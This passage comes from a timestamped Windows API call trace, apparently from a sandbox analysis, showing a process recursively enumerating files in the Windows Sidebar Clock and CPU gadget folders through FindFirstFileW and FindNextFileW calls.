ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-desk.png", cAlternateFileName="")) returned 1 [0058.780] GetLastError () returned 0x12 [0058.781] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0058.781] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0058.781] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x284ed995, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0058.781] GetLastError () returned 0x12 [0058.781] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0058.782] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0058.782] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clock.Gadget", cAlternateFileName="CLOCK~1.GAD")) returned 1 [0058.782] GetLastError () returned 0x12 [0058.782] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0058.782] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.782] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8439c2bc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8439c2bc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2855fdaf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0058.782] GetLastError () returned 0x12 [0058.782] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0058.782] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.782] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104c, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.html", cAlternateFileName="")) returned 1 [0058.782] GetLastError () returned 0x12 [0058.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0058.783] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.784] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1 [0058.784] GetLastError () returned 0x12 [0058.784] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0058.784] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0058.784] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0058.784] GetLastError () returned 0x12 [0058.784] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0058.784] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.784] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x467a, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.js", cAlternateFileName="")) returned 1 [0058.784] GetLastError () returned 0x12 [0058.784] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0058.785] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0058.785] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0058.785] GetLastError () returned 0x12 [0058.785] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0058.785] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0058.785] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ac06b, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x285ac06b, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x285ac06b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0058.785] GetLastError () returned 0x12 [0058.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805c807b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805c807b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0058.786] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805c807b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805c807b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.031] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ac06b, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x285ac06b, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x285d21c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6530, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer.png", cAlternateFileName="")) returned 1 [0059.031] GetLastError () returned 0x12 [0059.706] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0059.781] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0059.781] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x843c2419, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x843c2419, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e73115, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0059.781] GetLastError () returned 0x12 [0059.781] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0059.793] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0059.793] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPU.Gadget", cAlternateFileName="CPU~1.GAD")) returned 1 [0059.794] GetLastError () returned 0x12 [0059.795] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0059.796] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.796] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8538749b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8538749b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29088439, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0059.796] GetLastError () returned 0x12 [0059.796] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0060.320] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.320] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.html", cAlternateFileName="")) returned 1 [0060.320] GetLastError () returned 0x12 [0060.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0060.321] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.321] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 1 [0060.321] GetLastError () returned 0x12 [0060.321] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0060.321] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0060.321] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0060.321] GetLastError () returned 0x12 [0060.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0060.321] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.321] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 1 [0060.321] GetLastError () returned 0x12 [0060.322] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0060.322] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0060.322] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0060.322] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0060.322] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0060.322] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x290ae597, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x290ae597, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x290d46f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x23e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0060.322] GetLastError () returned 0x12 [0060.322] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8057bdba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8057bdba, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0060.554] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8057bdba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8057bdba, 